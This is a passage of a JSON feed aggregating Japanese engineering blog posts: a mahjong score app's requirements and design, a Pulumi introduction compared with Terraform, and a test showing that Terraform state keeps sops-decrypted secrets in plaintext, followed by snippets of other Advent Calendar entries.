↓github.comなぜやったのか自分はWebエンジニアを目指している大学生ですが、まともなWebアプリを開発した経験がなく、フロントからインフラまでフルスタックで開発しようと思い立ちました。最初は何をするか手探りの状態でしたが、その「何をするのか」を定義するために要件定義、設計から始めました。何をやったのかGitHubにissueを作成し、やるべきことを明確化していきました。要件定義ここではアプリケーションの機能や、なぜそのような機能にするのかを箇条書きしていきます。この作業を通してやることとやらないことが明確化され、実装もうっすら浮かんできます。実際の要件定義は以下のような感じになりました。- ユーザーはまずサインアップする - ユーザー名、パスワードを設定する - ユーザー名は一意でないといけない - ユーザの削除機能はデータ整合性が複雑になるので作らない - サインアップ済みのユーザーはログインをする - ユーザー名、パスワードを入力- セッション管理をし、セッションが張られていたらログインを省略し、ユーザーホーム画面に入る。- 親ユーザーが部屋を作り、他のユーザーを登録していく - 作成できる部屋は10部屋まで - 親は参加のためのパスワードを設定する - 子は親に部屋IDとパスワードを共有してもらう - 3人以上いないと対局結果は登録できない、四麻は四人 - 部屋の削除機能も必要- 各部屋のホーム画面では各部屋での自分の戦績が表示される- オフラインで対局した点数結果とそのユーザーと何家かをアプリに登録する - 点数結果だけでいいの? - 毎回上がり役とかを登録してると、面倒くさいと思う - 三麻も登録できるようにする。 - 点数の合計点を計算し、ユーザーの入力をチェックする - 同点の場合は、東寄りが上位- 取り消し機能も必要 - 「対局」という粒度で削除できるようにする。これは点数とユーザを登録したひと塊。 - 間違えてもその「対局」を消し、また新しい「対局」を作ればいい - 自分または同じ部屋のユーザーの成績を確認できるようにする - 平均順位 - 一位率 - 二位率 - 三位率 - 四位率 - とび率 - 対局数 - 平均得点 - 各項目のランキングも出す - 「n局以上」で検索できるようにする- 対局の登録、削除のたびに個人成績を計算しなおすデータベース設計ER図を書きます。要件定義にあるように今回のアプリではユーザーのログイン機能や、そのユーザーが作成、参加する部屋、その部屋ごとの戦績など、テーブルが複雑にリレーションを張るので設計に入る前に整理することができます。ある程度機能を盛り込む予定の個人開発では必須でしょう。画面遷移画面遷移図を書きます。ページとその機能、ページ同士の遷移を定義します。ここで定義したことはすなわちユーザーアクションのすべてなので、ユーザーアクションごとのテストがしやすくなります。実際の画面遷移図↓以上のような要件定義、設計を行うことで、実装での手戻りが少なくなり、快適に実装ができました。これからアプリケーション自体はほとんど完成しているので、コンテナ化し、それをECSやCloud Runにデプロイし、運用していく予定です!","link":"https://kechigon.hatenablog.com/entry/2023/12/17/142140","isoDate":"2023-12-17T05:21:40.000Z","dateMiliSeconds":1702790500000,"authorName":"Kurita Keigo","authorId":"kurita"},{"title":"Vimで無名レジスタでchange/delete/yankした時に、イニシャルに相当するレジスタにも値を入れる","contentSnippet":"Vim Advent Calendar 2023の12/17の記事です。mattnさんによる「Vim で SQL を素で編集してるの?」Vimのレジスタ、使いこなしてますか?とっても沢山種類があります。","link":"https://blog.atusy.net/2023/12/17/vim-easy-to-remember-regnames/","isoDate":"2023-12-17T00:00:00.000Z","dateMiliSeconds":1702771200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"terraform test: 基本機能","contentSnippet":"この記事は 3-shake Advent Calendar 2023 17 日目の記事です! この記事に書いてあることこの記事を含め 3 回に渡って terraform test の機能を紹介します。terraform test: 基本機能 <- 今ここterraform test: 応用機能terraform test: 細かい挙動 terraform test とはなにか 概要terraform test は Terraform module を実際に plan / apply して動作を確認するツールです。ドキュメントにも明記されている通り、主な使...","link":"https://zenn.dev/kyohei_saito/articles/a32b5a11c81e97","isoDate":"2023-12-16T14:58:00.000Z","dateMiliSeconds":1702738680000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"Terraform使いがPulumiに入門しました","contentSnippet":"この記事は3-shake Advent Calendar 2023の16日目の記事です。qiita.comこの内容はSRETT #8で発表した内容に補足しています。3-shake.connpass.com 前提語らないことモチベーションPulumiとは対応言語PulumiのアーキテクチャPulumiのコンポーネントPulumi CloudPulumi Cloud 料金Pulumi操作方法PulumiインストールPulumi CloudへログインProjectの作成変更を確認Stackデプロイリソース削除state操作Terraformからの移行TerraformとPulumiを共存する(tfstateを参照)tfstateからインポートterraformからコード変換まとめ前提筆者は以下の背景を持っています。普段はAWSをメインに触っている普段はTerraformをメインで使ってるPulumiはプロダクションでは使ったことがないちゃんとは把握できてない語らないこと以下のようなPulumi以外の基本的なことは語りませんIaCとは概要、特徴、メリット・デメリットTerraformとは概要、特徴、メリット・デメリット、操作方法モチベーションなんでPulumiを今回調べようかと思った動機について書こうと思います。Terraformの記述力に限界を感じていたというところが大きいです。以下の点がつらいかなと思っていたところです。足りない関数二重ループのためのModule使用分岐処理のためのcountと三項演算子とはいえ、記述力が低いからこそ複雑なことを抑制できて可読性が上がっている面もあると思います。冗長でも、可読性が高いというのはメリットではあります。他の選択肢としては以下のものがあるかと思います。CDKAWSに限定されるCDKTF(CDK for Terraform)結局terraformのJSONコードに変換されるので、terraformに依存しますそれ自体は悪くないが、どうせならTerraformから離れたものを学びたいそこでなにか良いものがないかと思い当たったところにPulumiがあったので調べてみようとなりました。PulumiとはPulumiはプログラミング言語でインフラを構築可能なプロビジョニングツールです。Terraformと同じようにProviderを通して複数のクラウドに対応しています。TerraformはHCLという宣言的言語を使用するのに対し、Pulumiは汎用的なプログラミング言語を使用してインフラリソースを定義します。Pulumi - Infrastructure as Code in Any Programming Language対応言語TypeScript & JavaScript (Node.js)PythonGoC#, VB, F# (.NET)JavaPulumi YAML参考: Pulumi Languages & SDKs | Pulumi DocsPulumiのアーキテクチャ以下のようの構成になっています。参考: How Pulumi Works | Pulumi DocsLanguage hostインフラリソースの定義を Program (後述)として好きな言語で定義します。Deployment Engine希望する状態に変更するための操作セットを実行する役割を果たします。Resource Providerクラウドサービスとの通信を処理して、Programで定義したリソースの変更処理を行います。上記の例だと、Programにリソースの定義がある場合、Stateと比較して、管理されているリソースであるかを確認します。存在すれば、プロバイダーを通して実際のクラウドのリソースの状態と比較して差分があれば適用。存在しない場合、プロバイダーを通してリソースを作成。PulumiのコンポーネントWhat is Pulumi? | Pulumi DocsPulumiのコンポーネントは以下のようになっています。ProjectProgramのソースコードとメタデータ(Programの実行方法)を格納したディレクトリProgramインフラのあるべき姿を定義したものResourceインフラを構成するオブジェクト。ResourceのプロバティはOutputとして他のResourceのInputに使用することができますStackProgramを実行すると作成されるインスタンス。同一のProgramから開発、ステージング、本番環境のStackを個別に作成することができます。Pulumi CloudTerraform Cloudのようなものと考えていただいて良いです。デプロイの状態、履歴やシークレットを管理して、CI/CDやGitHubと連携してデプロイを実行することもできます。Pulumi CLIはバックエンドを明示的に指定しない限りはでデフォルトでPulumi Cloudを使用します。Terraformはデフォルトでlocalバックエンドを使用します。以下はPulumi Cloudの画面です。Pulumi Cloud 料金個人で使う限りは無料で使用することができます。※2023/12/18現在Pulumi操作方法ここからPulumiの操作方法を見て行きたいと思いますPulumiインストール個人的にはバージョン管理したいのでasdfでインストールします。brewでもインストールできます。# .tool-versionspulumi 3.97.0 asdf installPulumi CloudへログインデフォルトではPulumi Cloudへログインします。以下のコマンドを実行するとブラウザが起動するので、ログイン処理をします。pulumi loginPulumi Cloudを使わず、ローカルにstateを保存したい場合は以下のとおりです。pulumi logoutpulumi loign --localProjectの作成pulumi new コマンドで新しいProjectを作成できます。同時にStackも作成されます。引数にテンプレートを指定できます。ウィザード形式で設定をすることができます。以下の例は awsプロバイダーを使用して、言語はTypeScriptを使用するテンプレートとなります。ディレクトリ内にはPulumi実行に必要な各種ファイルが生成されます。ここで見るべきは以下の3ファイルです。Pulumi.yamlプロジェクト設定Pulumi.dev.yamlStack(dev)設定index.tsリソース定義# Pulumi.yamlname: sampleruntime: nodejsdescription: A minimal AWS TypeScript Pulumi program# Pulumi.dev.yamlconfig:aws:region: us-east-1// index.tsimport * as pulumi from \\"@pulumi/pulumi\\";import * as aws from \\"@pulumi/aws\\";import * as awsx from \\"@pulumi/awsx\\";// Create an AWS resource (S3 Bucket)const bucket = new aws.s3.Bucket(\\"my-bucket\\");// Export the name of the bucketexport const bucketName = bucket.id;変更を確認plumi preview コマンドでStackの変更差分を確認できます。 terraform plan を似ていますが、こちらは差分の詳細は表示されません。Stackデプロイpulumi up コマンドでStackをデプロイできます。 terraform plan と terraform apply を組み合わせた挙動になります。実行すると選択肢が出ます。details を選択すると変更差分の詳細が表示されます。yesを選択すると、変更が適用されます。リソース削除pulumi destroy でStackを削除できます。pulumi up と同じようにdetailsで詳細表示、 yes で削除実行ができますstate操作PulumiではStackごとにStateが保存されています。Stateを操作するコマンドは以下のとおりです。state出力(terraform state pull 相当 )pulumi stack exportstate インポート(terraform import相当)pululmi import state 削除(terraform state rm 相当)pulumi state delete Terraformからの移行Terraformからの移行オプションは以下の通りとなります。terraformとPulumiを共存するPulumiからtfstateを参照するtfstateからリソースをPulumiへインポートするTerraformのコードをPulumiのコードに変換する参考: Adopting Pulumi | Pulumi Docs参考: Migrating from Terraform | Pulumi DocsTerraformとPulumiを共存する(tfstateを参照)networkリソースに関しては既存のterraformを使いつつ、そのoutputをPulumiで使うイメージになります。以下のようなコードでlocalのtfstateが参照できるので、値を参照して利用することができます。import * as aws from \\"@pulumi/aws\\";import * as terraform from \\"@pulumi/terraform\\";// Reference the Terraform state file:const networkState = new terraform.state.RemoteStateReference(\\"network\\", { backendType: \\"local\\", path: \\"/path/to/terraform.tfstate\\",});// Read the VPC and subnet IDs into variables:const vpcId = networkState.getOutput(\\"vpc_id\\");const publicSubnetIds = networkState.getOutput(\\"public_subnet_ids\\");// Now spin up servers in the first two subnets:for (let i = 0; i < 2; i++) { new aws.ec2.Instance(`instance-${i}`, { ami: \\"ami-7172b611\\", instanceType: \\"t2.medium\\", subnetId: publicSubnetIds[i], });}tfstateからインポートpulumi import --from terraform ./terraform.tfstate のようにすることによってtfstateからリソースをインポートすることができます。terraformからコード変換pulumi convert --from terraform コマンドを使用することで、既存のTerraformのコードをPulumiのコードに変換することができます。ただし、変換できないコードはTODOコメントが付く。90%~95%は変換が対応しているとのこと。pulumi convert --from terraform --language typescriptまとめPulumiの概要と基本操作をTerraformと対比しながら説明してきました。新規プロジェクトである程度複雑な処理をしたい。プログラミング言語に精通している人がメンバーにいる。そういった場合にはPulumiは良さそうに思えます。しかしながら、ある程度Terraformで出来上がっているプロジェクトをPulumiに移行するのはそれなりに大変なので、プロジェクトの規模感とコストに見合うかを考えて導入するか考えると良いでしょう。また、複雑なことをしたいというのは、本当に必要とされていることなのでしょうか?冗長でも簡易的な書き方をした方が望ましい場合もあるかと思います。そのあたりの目利きをちゃんと考えたいところです。自分自身まだまだ使いこなせていないですし、追いきれてないPulumiのトピックもあるので、今後も選択肢の一つとして調べていきたいところです。","link":"https://blog.masasuzu.net/entry/2023/12/16/000000","isoDate":"2023-12-15T15:00:00.000Z","dateMiliSeconds":1702652400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"sbt-github-acitons を使った CI の構築とプロジェクトの publish について","contentSnippet":"この記事は Scala Advent Calendar 2023 15日目 の記事です。 導入Scala プロジェクトを GitHub で開発する際には GitHub Actions を使用して CI を構築することが多いと思います。また、ライブラリの開発の場合は Maven Central に publish することも考えたいです。しかし、プロジェクトそれぞれに対応した GitHub Actions を構築するのは専門知識も必要で手間のかかる作業です。今回は sbt-github-actions という sbt プラグインを使用して、Scala プロジェクトの CI と ...","link":"https://zenn.dev/nomadblacky/articles/4c6a03aa5289c4","isoDate":"2023-12-15T03:00:00.000Z","dateMiliSeconds":1702609200000,"authorName":"Takumi Kadowaki","authorId":"nomadblacky"},{"title":"VPC エンドポイントポリシーで S3 バケットを制限する際の落とし穴","contentSnippet":"状況設定AWS の VPC エンドポイントポリシーで VPC 内部から Amazon S3 バケットへのアクセスを制限するために,以下のようなエンドポイントポリシーを設定するとします。s3-vpc-endpoint-policy.json{ \\"Version\\": \\"2012-10-17\\", \\"Statement\\": [ { \\"Effect\\": \\"Allow\\", \\"Principal\\": \\"*\\", \\"Action\\": \\"s3:*\\", \\"Resource...","link":"https://zenn.dev/toshikish/articles/e846fa0c3de10f","isoDate":"2023-12-14T22:00:00.000Z","dateMiliSeconds":1702591200000,"authorName":"toshikish","authorId":"toshikish"},{"title":"拝啓、CSSでドット絵を描きたくなったあの日(数週間前)の自分へ","contentSnippet":"※ 3-shake Advent Calendar 2023の15日目のエントリー記事です。※ 12/21追記: CSS Advent Calendar 2023の21日目のエントリー記事として追加しました。投稿期間とズレてしまっていますが、CSSアドベントカレンダー盛り上がりの一助になればと思います。今年は数年離れていたデータエンジニアを再スタートし、データ基盤構築やGoogleCloudのProfessional試験を受けて合格したり…とテッキーな事に触れることが多い年でした。最近はDBやSRE領域に触れる機会もあり、自分の知識不足に凹みながらも「今は学ぶ時期だ」と1つずつ知識...","link":"https://zenn.dev/nedoko_dok0dko/articles/c00b941f10501f","isoDate":"2023-12-14T15:31:58.000Z","dateMiliSeconds":1702567918000,"authorName":"seno","authorId":"seno"},{"title":"Karpenter を Amazon EKS で使う","contentSnippet":"はじめに Kubernetes のノードのオートスケーラーである Karpenter は,Amazon EKS クラスタでの利用を中心に普及しつつあります。 Karpenter を調べてみた・使ってみた系記事はたくさんあ […]The post Karpenter を Amazon EKS で使う first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/karpenter-with-amazon-eks/","isoDate":"2023-12-14T05:17:05.000Z","dateMiliSeconds":1702531025000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloud Partner Top Engineer 2024 になりました","contentSnippet":"はじめに 今回、ありがたいことに、 Google Cloud Partner Top Engineer 2024(以降PTE)になりましたのでその軌跡をまとめます。 コチラの資料によって PTE になりたい人が増えてくれ […]The post Google Cloud Partner Top Engineer 2024 になりました first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/earn-google-cloud-partner-top-engineer-2024/","isoDate":"2023-12-14T05:15:38.000Z","dateMiliSeconds":1702530938000,"authorName":"Sreake","authorId":"Sreake"},{"title":"AWS Fault Injection Service で EKS の障害テストを行う","contentSnippet":"この記事は 3-shake Advent Calendar 2023 14 日目の記事です! この記事に書いてあることこの記事では、AWS Fault Injection Service をつかって、EKS 上の Pod の障害テストを行う方法を説明します。この記事を書こうと思ったモチベーションとして、EKS 上のアプリケーションで障害テストをするために AWS Fault Injection Service (以降、「FIS」と記載します) を使用しようとしたところ、導入手順がいまいち分からなかったため、残しておこうと思ったためです。EC2 に障害を注入する場合は導入手順はシ...","link":"https://zenn.dev/kyohei_saito/articles/6d1bcc1fe8610e","isoDate":"2023-12-13T22:22:00.000Z","dateMiliSeconds":1702506120000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"SREがGoogle Cloud検証環境をCloud Nativeな視点で、 頑張りすぎずでも良い感じに整えた話","contentSnippet":"Jagu\'e\'r - CloudNative分科会 2023/12/13の登壇内容です。","link":"https://speakerdeck.com/parupappa2929/sregagooglecloudjian-zheng-huan-jing-wocloudnativenashi-dian-de-wan-zhang-risugizudemoliang-igan-zinizheng-etahua","isoDate":"2023-12-13T05:00:00.000Z","dateMiliSeconds":1702443600000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"[Kubernetes 1.27] Pod 停止時のフェーズ遷移の変更","contentSnippet":"Kubernetes 1.27 で KEP-3329: Retriable and non-retriable Pod failures for Jobs の一部として実装された [k/k#115331]: Give terminal phase correctly to all pods that will not be restarted により、Pod 停止時のフェーズが Running から Succeeded か Failed に遷移するようになりました。しかし、この変更が以下の予期せぬ問題を引き起こすことになります。[k/k#117018]: daemonset stuc...","link":"https://zenn.dev/toversus/articles/88ce2ea66b532d","isoDate":"2023-12-13T00:43:43.000Z","dateMiliSeconds":1702428223000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"GitHub Actions で multi-platform container image を build して ECR に push する","contentSnippet":"AWS の EKS や ECS では x86_64 も Graviton の arm64 も選択可能です、どちらでも使うかもしれない Container image は multi-platform…","link":"https://qiita.com/yteraoka/items/e1f89d28da4ba5078660","isoDate":"2023-12-12T22:01:45.000Z","dateMiliSeconds":1702418505000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"telescope.nvimによるjumplistをちょっと便利にするテク","contentSnippet":"Vimアドベントカレンダー12/10の記事です。Omochiceさんによる「使っているvimプラグインの棚卸し(2023冬)」KaitoMuraokaさんによる「初心者向けに何か」(2023/12/23 9:54時点で未投稿)TelescopeはNeovimにおけるFuzzy Finderのデファクトの座を勝ち取っていると思います。便利な一方、痒いところに手を出すと途端に難解でundocumentedなAPIに手を出す羽目になります……。","link":"https://blog.atusy.net/2023/12/12/telescope-jump-list/","isoDate":"2023-12-12T00:00:00.000Z","dateMiliSeconds":1702339200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Helmfile でちょっとしたリソースを追加したい","contentSnippet":"動機Helmfile で公式のチャートをインストールしていて,追加で関連リソースを追加したいことがあります。関連リソースの数が多い,内容が環境によって変わるなどの場合は,カスタムチャートを追加することになるでしょう。ただ,そこまで複雑ではない,関連リソースが数個レベルの場合,カスタムチャートだと大げさに感じることがあります。そこでどうすべきか迷っていたところ,同僚の toVersus さんに別の方法を教えていただきました。 extraTemplates 系の変数を使うHelm チャートによっては extraTemplates や extraObjects といった変数が...","link":"https://zenn.dev/toshikish/articles/5ead548816e618","isoDate":"2023-12-11T10:57:21.000Z","dateMiliSeconds":1702292241000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Amazon S3 バケットの terraform destroy に注意","contentSnippet":"TL;DRAmazon S3 バケットを削除する前には,必ずすべてのオブジェクトを削除しよう。aws_s3_bucket リソースの force_destroy 引数 を true にしてもよい。terraform destroy で削除すると,パブリックアクセスできる旨のアラートが出る場合があるので注意しよう。aws_s3_bucket_public_access_block リソースを terraform state rm するとアラートが出ない。マネジメントコンソールから削除してもアラートは出ない。 S3 バケットの terraform dest...","link":"https://zenn.dev/toshikish/articles/190fe076cc63f4","isoDate":"2023-12-11T09:03:06.000Z","dateMiliSeconds":1702285386000,"authorName":"toshikish","authorId":"toshikish"},{"title":"sqldefとpgrollを利用したPostgreSQLでのスキーマブルーグリーンデプロイメント","contentSnippet":"この記事はこのエントリー以下のアドベントカレンダーの11日目の記事です。3-shake Advent Calendar 2023昨日はtoyb0xによるTODOコメントをチケット管理するためのESLint Custom Ruleでした。PostgreSQL Advent Calendar 2023昨日は@ozozatyによるPostgreSQLのjsonb型でJSONパス式(JSONPath)を使うでした。 はじめにPostgreSQLではDDLはその性質からテーブルレベルでロックを取得してしまいます。SREやPlatform EngineeringなどDev...","link":"https://zenn.dev/nnaka2992/articles/blue_grean_on_postgres_with_sqldeff_and_pgroll","isoDate":"2023-12-10T23:30:00.000Z","dateMiliSeconds":1702251000000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"GitLab CIでKICSを実行する","contentSnippet":"やることTerraformの静的解析を行うKICSの結果をgitlab-commentでMRに出力するhttps://github.com/yuyaban/gitlab-commentKICSの結果を基にMRにReviewdogで指摘するhttps://github.com/reviewdog/reviewdog KICSの実行$ kics scan --config kics.yamlkics.yamlpath: \\".\\" # 解析するTerraformの場所output-path: \\".\\" # 結果の出力先report-formats:...","link":"https://zenn.dev/tayusa/articles/d28865c5ce49c6","isoDate":"2023-12-10T00:00:00.000Z","dateMiliSeconds":1702166400000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Golangでk8s Deploymentを再起動させる","contentSnippet":"やることclient-goを使って複数のDeploymentを同時に再起動させる Golang Deploymentの取得Pod内であればrest.InClusterConfig()でPodのServiceAccountを使用するconfigを取得できるclientset.AppsV1().Deployments(namespace).Get(ctx, deploymentName, metav1.GetOptions{}) でDeploymentを取得NamespaceとDeploymentの名前が必要k8s.gopackage maini...","link":"https://zenn.dev/tayusa/articles/a7df40b7d6fd5b","isoDate":"2023-12-10T00:00:00.000Z","dateMiliSeconds":1702166400000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"denops製VimプラグインでDenoのバージョンとキャッシュ位置を固定する","contentSnippet":"Vimアドベントカレンダー12/10の記事です。nil2さんによる「Vimのデフォルトキーマップをどのように上書きするか(ノーマルモード)」atusyによる「VimでgfしたらURLをブラウザで開く」さて本題。denops.vimというプラグイン開発エコシステムがあります。denops.vim は JavaScript/TypeScript のランタイムである Deno を利用して Vim/Neovim 双方で動作するプラグインを作るためのエコシステムです。https://zenn.dev/lambdalisue/articles/b4a31fba0b1ce95104c9","link":"https://blog.atusy.net/2023/12/10/denops-cache/","isoDate":"2023-12-10T00:00:00.000Z","dateMiliSeconds":1702166400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"TypeScript で LangChain の最初の一歩","contentSnippet":"このエントリーは 3-shake Advent Calendar 2023 の10日目の記事です。今年は Python をガッツリ触ったり、 LLM などの方面に手を出してきており、新しいことにまみれております。その中で LLM のシステム作るんだったら Python だろ?っていう中で TypeScript でもちゃんとできるよーっていうことで紹介していきたいと思います。 私が、あんまり Python でアプリ作っていくのが好きじゃないのもありますもちろん、 Python よりも TypeScript のほうが機能が少なめではありますので、そのあたりは、目をつぶっております。今...","link":"https://zenn.dev/satohjohn/articles/9415f85be332e6","isoDate":"2023-12-09T15:00:00.000Z","dateMiliSeconds":1702134000000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Mastering Bitcoin Third Editionの紹介","contentSnippet":"https://cryptocurrency.connpass.com/event/303416/\\r2023年12月9日(土)ビットコインとか忘年会のLTで、同年11月に出版されたMastering Bitcoin Third Editionの紹介をしました。","link":"https://speakerdeck.com/shukob/mastering-bitcoin-third-editionnoshao-jie","isoDate":"2023-12-09T05:00:00.000Z","dateMiliSeconds":1702098000000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"VimでgfしたらURLをブラウザで開く","contentSnippet":"Vimアドベントカレンダー12/9の記事です。NI57721さんによる「長文丸暗記用のVimプラグインを作った話」yasunori0418さんによる「ヘルプから始めるddu」gfはいいぞgfコマンド、便利ですよね。gfと入力すると、そのファイルをバッファに開いてくれます。","link":"https://blog.atusy.net/2023/12/09/gf-open-url/","isoDate":"2023-12-09T00:00:00.000Z","dateMiliSeconds":1702080000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"今よりちょっとだけ上手く文章を書くコツ","contentSnippet":"この記事は、3-shake Advent Calendar 2023 9日目のエントリ記事です。技術的な話ではありませんはじめに国語がとても苦手だった私は、社会人になったときに日本語力の無さに…","link":"https://qiita.com/kojake_300/items/c5def031a252323fae1c","isoDate":"2023-12-08T22:01:43.000Z","dateMiliSeconds":1702072903000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"Terraformのsopsプロバイダーを使用するだけで機密情報は守られるのか","contentSnippet":"qiita.comこの記事は、3-shake Advent Calendar 2023の9日目の記事となります。sops プロバイダーとは本当に安心?ドキュメントを調べる挙動を実験する結論ワークアラウンドsops プロバイダーとはcarlpett/terraform-provider-sops: A Terraform provider for reading Mozilla sops filesDocs overview | carlpett/sops | Terraform | Terraform RegistrysopsプロバイダーはMozilla sopsを使用して暗号化されたファイルから機密情報を取り出して、terraform上で使用できるようにしたものです。暗号化の鍵をAWS KMS等を使うことにより、KMSキーを使う権限を持つ人だけ機密情報にアクセスできるようにするものです。sopsで機密情報を暗号化することにより、平文で機密情報をgitレポジトリに保存することがなくなり安全ということになります。機密情報を管理したい。でも平文では保存したくない。そういう用途にこちらは使用されます。本当に安心?SOPSを使って機密情報を暗号化することによりgitレポジトリには機密情報が平文で残らない。これで安心と言われていますが、よく考えると機密情報をterraform実行時にはリソースに対して平文で与えているはずです。つまり、tfstate上は機密情報が平文で保存されています。例えば、tfstateがS3に保存されているとして、KMSキーへの権限がない人でもS3バケットにアクセスする権限があれば、平文の機密情報が見れてしまいます。あまりないと思いますが、tfstateをlocalに保存するようにしていてそれをgit管理していてらなんのために暗号化しているのか。。。。ということになります。こう考えると組織のポリシーによるが、sopsプロバイダーによる暗号化では不十分ではないかという疑問が生まれます。ドキュメントを調べるまずプロバイダードキュメントを当たってみます。Docs overview | carlpett/sops | Terraform | Terraform RegistryTo prevent plaintext secrets from being written to disk, you\xa0must\xa0use a secure remote state backend. See the\xa0official docs\xa0on\xa0Sensitive Data in State\xa0for more information.これが意味してるのはバックエンドをlocalにした場合平文で機密情報が書かれるので、安全なリモートバックエンドを利用すべきということだと思います。State: Sensitive Data | Terraform | HashiCorp Developer参照しろと言われたドキュメントの該当部分を読んでみましょう。ローカルディスクにtfstateを保存した場合は、機密情報が平文で保存されます。リモートにtfstateを保存する場合、保存時に暗号化されるかはバックエンドに依存します。基本的にリモートステートを使うことを推奨しています。例えば、Terraform Cloudを使う場合、tfstateは暗号化され、転送時もTLSで暗号化されます。S3を使う場合もSSE-S3やSSE-KMS等でサーバサイド暗号化を有効にしておくことで、保管時の暗号化がされます。バケットポリシーでHTTPSを強制することで通信時の暗号化も保証することができます。参考: 暗号化によるデータの保護 - Amazon Simple Storage Service参考: Amazon S3 のセキュリティのベストプラクティス - Amazon Simple Storage Serviceところがですね。保存時、通信時の暗号化をしても、terraform state pullすると平文でtfstateが手に入ってしまうんですよ。。。後述します。挙動を実験する以下のような設定ファイルを作ります。sopsで暗号化したdb_userとdb_passwordをパラメータストアに設定するものになります。tools-versionsterraform 1.5.5sops 3.7.3main.tfterraform { required_version = \\"~> 1.5.5\\" required_providers { aws = { source = \\"hashicorp/aws\\" version = \\"~> 5.15\\" } sops = { source = \\"carlpett/sops\\" version = \\"~> 0.7.2\\" } } backend \\"s3\\" { region = \\"ap-northeast-1\\" bucket = \\"xxxxxxxxxx\\" key = \\"test.tfstate\\" }}provider \\"sops\\" {}provider \\"aws\\" { region = \\"ap-northeast-1\\"}data \\"sops_file\\" \\"secrets\\" { source_file = \\"secrets.yaml\\"}resource \\"aws_ssm_parameter\\" \\"db_user\\" { type = \\"String\\" name = \\"/test/db_user\\" value = data.sops_file.secrets.data.db_user}resource \\"aws_ssm_parameter\\" \\"db_password\\" { type = \\"SecureString\\" name = \\"/test/db_password\\" value = data.sops_file.secrets.data.db_password}暗号化前の secrets.yamldb_user: userdb_password: passwordapply結果がこちらとなります。terraform apply% export SOPS_KMS_ARN=arn:aws:kms:ap-northeast-1:xxxxxxxxx:key/yyyyyyyyyyyyyyyyyy% terraform applydata.sops_file.secrets: Reading...data.sops_file.secrets: Read complete after 1s [id=-]Terraform used the selected providers to generate the following execution plan. Resource actions areindicated with the following symbols: + createTerraform will perform the following actions: # aws_ssm_parameter.db_password will be created + resource \\"aws_ssm_parameter\\" \\"db_password\\" { + arn = (known after apply) + data_type = (known after apply) + id = (known after apply) + insecure_value = (known after apply) + key_id = (known after apply) + name = \\"/test/db_password\\" + tags_all = (known after apply) + tier = (known after apply) + type = \\"SecureString\\" + value = (sensitive value) + version = (known after apply) } # aws_ssm_parameter.db_user will be created + resource \\"aws_ssm_parameter\\" \\"db_user\\" { + arn = (known after apply) + data_type = (known after apply) + id = (known after apply) + insecure_value = (known after apply) + key_id = (known after apply) + name = \\"/test/db_user\\" + tags_all = (known after apply) + tier = (known after apply) + type = \\"String\\" + value = (sensitive value) + version = (known after apply) }Plan: 2 to add, 0 to change, 0 to destroy.Do you want to perform these actions? Terraform will perform the actions described above. Only \'yes\' will be accepted to approve. Enter a value: yesaws_ssm_parameter.db_password: Creating...aws_ssm_parameter.db_user: Creating...aws_ssm_parameter.db_user: Creation complete after 0s [id=/test/db_user]aws_ssm_parameter.db_password: Creation complete after 0s [id=/test/db_password]Apply complete! Resources: 2 added, 0 changed, 0 destroyed.terraform apply 8.91s user 0.78s system 124% cpu 7.811 totalstate showするとパラメータストアなのでsensitive扱いになっていて、見れません。これはいけるか?terraform state show% terraform state show aws_ssm_parameter.db_password# aws_ssm_parameter.db_password:resource \\"aws_ssm_parameter\\" \\"db_password\\" { arn = \\"arn:aws:ssm:ap-northeast-1:xxxxxxxxx:parameter/test/db_password\\" data_type = \\"text\\" id = \\"/test/db_password\\" key_id = \\"alias/aws/ssm\\" name = \\"/test/db_password\\" tags_all = {} tier = \\"Standard\\" type = \\"SecureString\\" value = (sensitive value) version = 1}% terraform state show aws_ssm_parameter.db_user # aws_ssm_parameter.db_user:resource \\"aws_ssm_parameter\\" \\"db_user\\" { arn = \\"arn:aws:ssm:ap-northeast-1:xxxxxxxxx:parameter/test/db_user\\" data_type = \\"text\\" id = \\"/test/db_user\\" name = \\"/test/db_user\\" tags_all = {} tier = \\"Standard\\" type = \\"String\\" value = (sensitive value) version = 1}ここで、terraform state pullをしてみて、tfstateファイルをローカルにダウンロードします。そのtfstateファイルの中の該当部分はこちらとなります。 { \\"mode\\": \\"managed\\", \\"type\\": \\"aws_ssm_parameter\\", \\"name\\": \\"db_password\\", \\"provider\\": \\"provider[\\\\\\"registry.terraform.io/hashicorp/aws\\\\\\"]\\", \\"instances\\": [ { \\"schema_version\\": 0, \\"attributes\\": { \\"allowed_pattern\\": \\"\\", \\"arn\\": \\"arn:aws:ssm:ap-northeast-1:xxxxxxxxx:parameter/test/db_password\\", \\"data_type\\": \\"text\\", \\"description\\": \\"\\", \\"id\\": \\"/test/db_password\\", \\"insecure_value\\": null, \\"key_id\\": \\"alias/aws/ssm\\", \\"name\\": \\"/test/db_password\\", \\"overwrite\\": null, \\"tags\\": null, \\"tags_all\\": {}, \\"tier\\": \\"Standard\\", \\"type\\": \\"SecureString\\", \\"value\\": \\"password\\", \\"version\\": 1 }, \\"sensitive_attributes\\": [ [ { \\"type\\": \\"get_attr\\", \\"value\\": \\"value\\" } ] ], \\"private\\": \\"bnVsbA==\\", \\"dependencies\\": [ \\"data.sops_file.secrets\\" ] } ] 